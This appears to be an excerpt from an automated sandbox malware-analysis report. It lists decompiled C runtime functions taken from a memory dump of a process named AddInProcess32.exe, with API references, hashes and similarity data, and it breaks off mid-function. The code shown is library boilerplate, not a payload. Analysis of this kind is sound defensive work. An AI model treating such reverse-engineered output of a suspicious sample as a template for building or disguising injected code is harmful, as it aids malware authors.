                                                          0x00409920
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004098f1
                                                          0x004098f1
                                                          0x004098f1
                                                          0x004098f4
                                                          0x004098f5
                                                          0x004098f5
                                                          0x00000000
                                                          0x004098f1
                                                          0x004098e1
                                                          0x00000000
                                                          0x004098e1
                                                          0x004098b9
                                                          0x004098b9
                                                          0x004098ba
                                                          0x004098bf
                                                          0x004098c1
                                                          0x004098c3
                                                          0x004098c8
                                                          0x004098c8
                                                          0x00000000
                                                          0x004098c8
                                                          0x0040988a
                                                          0x0040988f
                                                          0x00409891
                                                          0x00409892
                                                          0x00000000
                                                          0x00409892
                                                          0x00409854
                                                          0x00409857
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409857
                                                          0x0040980b
                                                          0x0040980e
                                                          0x00000000
                                                          0x00000000
                                                          0x00409810
                                                          0x00409817
                                                          0x00409818
                                                          0x0040981a
                                                          0x0040981f
                                                          0x00000000
                                                          0x0040981f
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 4j$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                          • API String ID: 0-1339329047
                                                          • Opcode ID: fac8f82e1bedbd5b99fc7db3905f6116576d419753e9f0710be846609a5db9b7
                                                          • Instruction ID: d8b03e9b547b08d5cea66b05f6a4c86ef5c082b8e1116ef21181e7739ecd3f1e
                                                          • Opcode Fuzzy Hash: fac8f82e1bedbd5b99fc7db3905f6116576d419753e9f0710be846609a5db9b7
                                                          • Instruction Fuzzy Hash: D541B471E10214BFDB15AB9A8C8199FBBF8EB85310B10407BF404B7392E7745E45CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00408D23 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E00408D23(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E0040A888(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}




                                                          0x00408d30
                                                          0x00408d38
                                                          0x00408d6d
                                                          0x00408d3a
                                                          0x00408d43
                                                          0x00000000
                                                          0x00408d6a
                                                          0x00408d69
                                                          0x00408d69

                                                          APIs
                                                          • LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,00408CD4,00000000,00000001,0041AFB0,?,?,?,00408E77,00000004,InitializeCriticalSectionEx,00413D28,InitializeCriticalSectionEx), ref: 00408D30
                                                          • GetLastError.KERNEL32(?,00408CD4,00000000,00000001,0041AFB0,?,?,?,00408E77,00000004,InitializeCriticalSectionEx,00413D28,InitializeCriticalSectionEx,00000000,?,00408C07), ref: 00408D3A
                                                          • LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,004086A3), ref: 00408D62
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: LibraryLoad$ErrorLast
                                                          • String ID: api-ms-
                                                          • API String ID: 3177248105-2084034818
                                                          • Opcode ID: 3d7e1b980160680a978251b1597fa909e1996c9d4dd640621ec6e35ffed0f193
                                                          • Instruction ID: 74cfaa678775022afb0480fe73bc6463a1bbd86283c1cf47a82d44119af83114
                                                          • Opcode Fuzzy Hash: 3d7e1b980160680a978251b1597fa909e1996c9d4dd640621ec6e35ffed0f193
                                                          • Instruction Fuzzy Hash: 3CE04831680208BBDF201F61DD06B993F65AF10F46F108035F98DB41E1DF75D961854D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040B2D7 Relevance: 6.1, APIs: 4, Instructions: 86COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040B2D7(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E0040C4D3(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E0040C4D3(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E0040AB7D(GetLastError());
									_t19 =  *((intOrPtr*)(E0040ABB3(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E0040B913(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E0040AB7D(GetLastError());
						return  *((intOrPtr*)(E0040ABB3(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E0040B913(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E0040B8F9(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}











                                                          0x0040b2de
                                                          0x0040b2e3
                                                          0x0040b301
                                                          0x0040b303
                                                          0x0040b306
                                                          0x0040b333
                                                          0x0040b33b
                                                          0x0040b33d
                                                          0x0040b356
                                                          0x0040b359
                                                          0x0040b35c
                                                          0x0040b36a
                                                          0x0040b379
                                                          0x0040b381
                                                          0x0040b383
                                                          0x0040b39c
                                                          0x0040b39f
                                                          0x0040b39f
                                                          0x0040b385
                                                          0x0040b38c
                                                          0x0040b397
                                                          0x0040b397
                                                          0x0040b3a1
                                                          0x00000000
                                                          0x0040b3a1
                                                          0x0040b361
                                                          0x0040b366
                                                          0x0040b368
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b368
                                                          0x0040b346
                                                          0x00000000
                                                          0x0040b351
                                                          0x0040b308
                                                          0x0040b30b
                                                          0x0040b30e
                                                          0x0040b321
                                                          0x0040b324
                                                          0x0040b2f7
                                                          0x0040b2f7
                                                          0x00000000
                                                          0x0040b2fa
                                                          0x0040b314
                                                          0x0040b319
                                                          0x0040b31b
                                                          0x0040b3a5
                                                          0x0040b3a5
                                                          0x00000000
                                                          0x0040b31b
                                                          0x0040b2e5
                                                          0x0040b2ea
                                                          0x0040b2ef
                                                          0x0040b2f1
                                                          0x0040b2f4
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0040B8F9: _free.LIBCMT ref: 0040B907
                                                            • Part of subcall function 0040C4D3: WideCharToMultiByte.KERNEL32(?,00000000,00402E75,00000000,?,0040A7D4,0040FA1C,?,00402E75,?,00000000,?,0040F78B,0000FDE9,00000000,?), ref: 0040C575
                                                          • GetLastError.KERNEL32 ref: 0040B33F
                                                          • __dosmaperr.LIBCMT ref: 0040B346
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0040B385
                                                          • __dosmaperr.LIBCMT ref: 0040B38C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
                                                          • String ID:
                                                          • API String ID: 167067550-0
                                                          • Opcode ID: 5d0e5ea6f929ce6d945050120a81edba0afac3565d5cac8d5a3ffb409fd970f2
                                                          • Instruction ID: 2fc986ca46abf33170c3d8ff4d12c823e775feffd83c42a6ee90b431fdd661be
                                                          • Opcode Fuzzy Hash: 5d0e5ea6f929ce6d945050120a81edba0afac3565d5cac8d5a3ffb409fd970f2
                                                          • Instruction Fuzzy Hash: 5721A171604605AFDB20AF668C80D2BB7ADEF04368720853AF925B72D0D738EC109BDD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040AF04 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 73%
                                                          			E0040AF04(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;
				void* _t66;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x41a058; // 0x6
				_t68 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0040D5A9(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E0040B1B0(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E0040D5A9(__eflags,  *0x41a058, _t51);
							if(__eflags != 0) {
								E0040AD32(_t51, 0x41b188);
								E0040A8C2(0);
								_t66 = _t66 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E0040D5A9(__eflags,  *0x41a058, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E0040D5A9(0,  *0x41a058, 0);
							_push(0);
							L9:
							E0040A8C2();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E0040D56A(_t68, _t2);
					if(_t51 == 0) {
						_t2 =  *0x41a058; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E0040A7C4(_t39, _t43, _t49, _t53, _t60, _t65);
					asm("int3");
					_t5 =  *0x41a058; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E0040D5A9(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E0040B1B0(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E0040D5A9(__eflags,  *0x41a058, _t60);
								if(__eflags != 0) {
									E0040AD32(_t60, 0x41b188);
									E0040A8C2(0);
									_t66 = _t66 + 0xc;
									goto L29;
								} else {
									E0040D5A9(__eflags,  *0x41a058, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E0040D5A9(__eflags,  *0x41a058, _t20);
								_push(_t60);
								L25:
								E0040A8C2();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E0040D56A(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x41a058; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E0040A7C4(_t39, _t43, _t49, _t53, _t60, _t65);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x41a058; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E0040D5A9(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E0040B1B0(1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E0040D5A9(__eflags,  *0x41a058, _t54);
											if(__eflags != 0) {
												E0040AD32(_t54, 0x41b188);
												E0040A8C2(0);
												goto L45;
											} else {
												_t40 = 0;
												E0040D5A9(__eflags,  *0x41a058, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E0040D5A9(0,  *0x41a058, 0);
											_push(0);
											L41:
											E0040A8C2();
											goto L36;
										}
									}
								} else {
									_t54 = E0040D56A(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x41a058; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}
























                                                          0x0040af04
                                                          0x0040af04
                                                          0x0040af0f
                                                          0x0040af11
                                                          0x0040af16
                                                          0x0040af19
                                                          0x0040af37
                                                          0x0040af3a
                                                          0x0040af3f
                                                          0x0040af41
                                                          0x00000000
                                                          0x0040af43
                                                          0x0040af4f
                                                          0x0040af52
                                                          0x0040af53
                                                          0x0040af55
                                                          0x0040af7a
                                                          0x0040af7c
                                                          0x0040af95
                                                          0x0040af9c
                                                          0x0040afa1
                                                          0x00000000
                                                          0x0040af7e
                                                          0x0040af7e
                                                          0x0040af87
                                                          0x0040af8c
                                                          0x00000000
                                                          0x0040af8c
                                                          0x0040af57
                                                          0x0040af57
                                                          0x0040af57
                                                          0x0040af60
                                                          0x0040af65
                                                          0x0040af66
                                                          0x0040af66
                                                          0x0040af6b
                                                          0x00000000
                                                          0x0040af6b
                                                          0x0040af55
                                                          0x0040af1b
                                                          0x0040af21
                                                          0x0040af25
                                                          0x0040af32
                                                          0x00000000
                                                          0x0040af27
                                                          0x0040af2a
                                                          0x0040afa4
                                                          0x0040afa4
                                                          0x0040af2c
                                                          0x0040af2c
                                                          0x0040af2c
                                                          0x0040af2e
                                                          0x0040af2e
                                                          0x0040af2e
                                                          0x0040af2a
                                                          0x0040af25
                                                          0x0040afa7
                                                          0x0040afaf
                                                          0x0040afb1
                                                          0x0040afb3
                                                          0x0040afbb
                                                          0x0040afc0
                                                          0x0040afc1
                                                          0x0040afc6
                                                          0x0040afc7
                                                          0x0040afca
                                                          0x0040afe4
                                                          0x0040afe7
                                                          0x0040afec
                                                          0x0040afee
                                                          0x00000000
                                                          0x0040aff0
                                                          0x0040affc
                                                          0x0040afff
                                                          0x0040b000
                                                          0x0040b002
                                                          0x0040b025
                                                          0x0040b027
                                                          0x0040b03e
                                                          0x0040b045
                                                          0x0040b04a
                                                          0x00000000
                                                          0x0040b029
                                                          0x0040b030
                                                          0x0040b035
                                                          0x00000000
                                                          0x0040b035
                                                          0x0040b004
                                                          0x0040b00b
                                                          0x0040b010
                                                          0x0040b011
                                                          0x0040b011
                                                          0x0040b016
                                                          0x00000000
                                                          0x0040b016
                                                          0x0040b002
                                                          0x0040afcc
                                                          0x0040afd2
                                                          0x0040afd4
                                                          0x0040afd6
                                                          0x0040afdf
                                                          0x00000000
                                                          0x0040afd8
                                                          0x0040afd8
                                                          0x0040afdb
                                                          0x0040b055
                                                          0x0040b055
                                                          0x0040b05a
                                                          0x0040b05d
                                                          0x0040b05e
                                                          0x0040b05f
                                                          0x0040b066
                                                          0x0040b068
                                                          0x0040b06d
                                                          0x0040b070
                                                          0x0040b08e
                                                          0x0040b091
                                                          0x0040b096
                                                          0x0040b098
                                                          0x00000000
                                                          0x0040b09a
                                                          0x0040b0a6
                                                          0x0040b0aa
                                                          0x0040b0ac
                                                          0x0040b0d1
                                                          0x0040b0d3
                                                          0x0040b0ec
                                                          0x0040b0f3
                                                          0x00000000
                                                          0x0040b0d5
                                                          0x0040b0d5
                                                          0x0040b0de
                                                          0x0040b0e3
                                                          0x00000000
                                                          0x0040b0e3
                                                          0x0040b0ae
                                                          0x0040b0ae
                                                          0x0040b0ae
                                                          0x0040b0b7
                                                          0x0040b0bc
                                                          0x0040b0bd
                                                          0x0040b0bd
                                                          0x00000000
                                                          0x0040b0c2
                                                          0x0040b0ac
                                                          0x0040b072
                                                          0x0040b078
                                                          0x0040b07a
                                                          0x0040b07c
                                                          0x0040b089
                                                          0x00000000
                                                          0x0040b07e
                                                          0x0040b07e
                                                          0x0040b081
                                                          0x0040b0fb
                                                          0x0040b0fb
                                                          0x0040b083
                                                          0x0040b083
                                                          0x0040b083
                                                          0x0040b083
                                                          0x0040b085
                                                          0x0040b085
                                                          0x0040b085
                                                          0x0040b081
                                                          0x0040b07c
                                                          0x0040b0fe
                                                          0x0040b106
                                                          0x0040b108
                                                          0x0040b108
                                                          0x0040b10f
                                                          0x0040afdd
                                                          0x0040b04d
                                                          0x0040b04d
                                                          0x0040b04f
                                                          0x00000000
                                                          0x0040b051
                                                          0x0040b054
                                                          0x0040b054
                                                          0x0040b04f
                                                          0x0040afdb
                                                          0x0040afd6
                                                          0x0040afb5
                                                          0x0040afba
                                                          0x0040afba

                                                          APIs
                                                          • GetLastError.KERNEL32(00402E75,?,00402E79,00409496,?,?,?,?,004095AD,00402E75,?,?,00000000,00402E75,?,Microsoft Hv), ref: 0040AF09
                                                          • _free.LIBCMT ref: 0040AF66
                                                          • _free.LIBCMT ref: 0040AF9C
                                                          • SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,004095AD,00402E75,?,?,00000000,00402E75,?,Microsoft Hv), ref: 0040AFA7
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: ced1e31edafc3cbfc012ace1d0ae292066c4c4926f511ca82713252873c3127f
                                                          • Instruction ID: ad04bb7f586967d50c493907000342c0bb9a86fa33154da36fee7068b054b6ea
                                                          • Opcode Fuzzy Hash: ced1e31edafc3cbfc012ace1d0ae292066c4c4926f511ca82713252873c3127f
                                                          • Instruction Fuzzy Hash: A11123B22013123AC6013AB99C81DAB27598BC5379B34423AF914B22D1DE3C8D2A561F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040B05B Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 85%
                                                          			E0040B05B(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x41a058; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0040D5A9(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E0040B1B0(1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E0040D5A9(__eflags,  *0x41a058, _t18);
							if(__eflags != 0) {
								E0040AD32(_t18, 0x41b188);
								E0040A8C2(0);
								goto L13;
							} else {
								_t13 = 0;
								E0040D5A9(__eflags,  *0x41a058, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E0040D5A9(0,  *0x41a058, 0);
							_push(0);
							L9:
							E0040A8C2();
							goto L4;
						}
					}
				} else {
					_t18 = E0040D56A(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x41a058; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}








                                                          0x0040b066
                                                          0x0040b068
                                                          0x0040b06d
                                                          0x0040b070
                                                          0x0040b08e
                                                          0x0040b091
                                                          0x0040b096
                                                          0x0040b098
                                                          0x00000000
                                                          0x0040b09a
                                                          0x0040b0a6
                                                          0x0040b0aa
                                                          0x0040b0ac
                                                          0x0040b0d1
                                                          0x0040b0d3
                                                          0x0040b0ec
                                                          0x0040b0f3
                                                          0x00000000
                                                          0x0040b0d5
                                                          0x0040b0d5
                                                          0x0040b0de
                                                          0x0040b0e3
                                                          0x00000000
                                                          0x0040b0e3
                                                          0x0040b0ae
                                                          0x0040b0ae
                                                          0x0040b0ae
                                                          0x0040b0b7
                                                          0x0040b0bc
                                                          0x0040b0bd
                                                          0x0040b0bd
                                                          0x00000000
                                                          0x0040b0c2
                                                          0x0040b0ac
                                                          0x0040b072
                                                          0x0040b078
                                                          0x0040b07c
                                                          0x0040b089
                                                          0x00000000
                                                          0x0040b07e
                                                          0x0040b081
                                                          0x0040b0fb
                                                          0x0040b0fb
                                                          0x0040b083
                                                          0x0040b083
                                                          0x0040b083
                                                          0x0040b085
                                                          0x0040b085
                                                          0x0040b085
                                                          0x0040b081
                                                          0x0040b07c
                                                          0x0040b0fe
                                                          0x0040b106
                                                          0x0040b10f

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,0040ABB8,0040A93F,?,?,00407594,00004000), ref: 0040B060
                                                          • _free.LIBCMT ref: 0040B0BD
                                                          • _free.LIBCMT ref: 0040B0F3
                                                          • SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,0040ABB8,0040A93F,?,?,00407594,00004000), ref: 0040B0FE
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: 0772019aefc9bc74234f00fbf0fdeaf8ebeedeae5d757fbfa66ce35bb761b29e
                                                          • Instruction ID: d92e49d10682562ca73761be3ef1011967ee87a701013f822afdd0a68935eabd
                                                          • Opcode Fuzzy Hash: 0772019aefc9bc74234f00fbf0fdeaf8ebeedeae5d757fbfa66ce35bb761b29e
                                                          • Instruction Fuzzy Hash: 571125322052103AD6113BBAAC85DAB2759CBC5378B20433AFD74B22D1DF3D8D1A599E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00410576 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E00410576(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x41a860, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0041055F();
					E00410521();
					_t13 = WriteConsoleW( *0x41a860, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}




                                                          0x00410593
                                                          0x00410597
                                                          0x004105a4
                                                          0x004105a9
                                                          0x004105c4
                                                          0x004105c4
                                                          0x004105ca

                                                          APIs
                                                          • WriteConsoleW.KERNEL32(?,00000008,00402E75,00000000,?,?,0040FFCF,?,00000001,?,?,?,0040F461,00000000,?,?), ref: 0041058D
                                                          • GetLastError.KERNEL32(?,0040FFCF,?,00000001,?,?,?,0040F461,00000000,?,?,00000000,?,?,0040F9B5,u.@), ref: 00410599
                                                            • Part of subcall function 0041055F: CloseHandle.KERNEL32(FFFFFFFE,004105A9,?,0040FFCF,?,00000001,?,?,?,0040F461,00000000,?,?,00000000,?), ref: 0041056F
                                                          • ___initconout.LIBCMT ref: 004105A9
                                                            • Part of subcall function 00410521: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00410550,0040FFBC,?,?,0040F461,00000000,?,?,00000000), ref: 00410534
                                                          • WriteConsoleW.KERNEL32(?,00000008,00402E75,00000000,?,0040FFCF,?,00000001,?,?,?,0040F461,00000000,?,?,00000000), ref: 004105BE
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                          • String ID:
                                                          • API String ID: 2744216297-0
                                                          • Opcode ID: decdd774e14acbf529ae87bfc1fbbea12324e4a532e3e128365f422c0111e42e
                                                          • Instruction ID: d1e58d87ffd8872f89a852f8d15c247f0a2f4559bd50fe4a3728fdd28a22529f
                                                          • Opcode Fuzzy Hash: decdd774e14acbf529ae87bfc1fbbea12324e4a532e3e128365f422c0111e42e
                                                          • Instruction Fuzzy Hash: A8F01C36101118BBCF226F96DC049CA7FF6EB0C3B1B058421FA1895120CA729AA0DB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040A60F Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040A60F() {

				E0040A8C2( *0x41b618);
				 *0x41b618 = 0;
				E0040A8C2( *0x41b61c);
				 *0x41b61c = 0;
				E0040A8C2( *0x41b1a8);
				 *0x41b1a8 = 0;
				E0040A8C2( *0x41b1ac);
				 *0x41b1ac = 0;
				return 1;
			}



                                                          0x0040a618
                                                          0x0040a625
                                                          0x0040a62b
                                                          0x0040a636
                                                          0x0040a63c
                                                          0x0040a647
                                                          0x0040a64d
                                                          0x0040a655
                                                          0x0040a65e

                                                          APIs
                                                          • _free.LIBCMT ref: 0040A618
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          • _free.LIBCMT ref: 0040A62B
                                                          • _free.LIBCMT ref: 0040A63C
                                                          • _free.LIBCMT ref: 0040A64D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: badfe0a1c6bbdd557531365357240a5fbb61e5e1425895963bebf36a15a22461
                                                          • Instruction ID: 143d3750b358a5ed355298f2bd32e55775097da67466ffe912a1f1dc5ed0482f
                                                          • Opcode Fuzzy Hash: badfe0a1c6bbdd557531365357240a5fbb61e5e1425895963bebf36a15a22461
                                                          • Instruction Fuzzy Hash: EEE0BF72510260AED6017F26BC114CA3B61EB94754742C13BF404263B1D73919679FCF
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040CA51 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 84%
                                                          			E0040CA51() {
				signed int _t20;
				signed int _t22;
				long _t23;
				signed char _t25;
				void* _t28;
				signed int _t31;
				void* _t33;

				_t31 = 0;
				do {
					_t20 = _t31 & 0x0000003f;
					_t33 = _t20 * 0x38 +  *((intOrPtr*)(0x41b310 + (_t31 >> 6) * 4));
					if( *(_t33 + 0x18) == 0xffffffff ||  *(_t33 + 0x18) == 0xfffffffe) {
						 *(_t33 + 0x28) = 0x81;
						_t22 = _t31;
						if(_t22 == 0) {
							_push(0xfffffff6);
						} else {
							if(_t22 == 1) {
								_push(0xfffffff5);
							} else {
								_push(0xfffffff4);
							}
						}
						_pop(_t23);
						_t28 = GetStdHandle(_t23);
						if(_t28 == 0xffffffff || _t28 == 0) {
							_t25 = 0;
						} else {
							_t25 = GetFileType(_t28);
						}
						if(_t25 == 0) {
							 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
							 *(_t33 + 0x18) = 0xfffffffe;
							_t20 =  *0x41b614; // 0x6b7420
							if(_t20 != 0) {
								_t20 =  *(_t20 + _t31 * 4);
								 *(_t20 + 0x10) = 0xfffffffe;
							}
						} else {
							_t20 = _t25 & 0x000000ff;
							 *(_t33 + 0x18) = _t28;
							if(_t20 != 2) {
								if(_t20 == 3) {
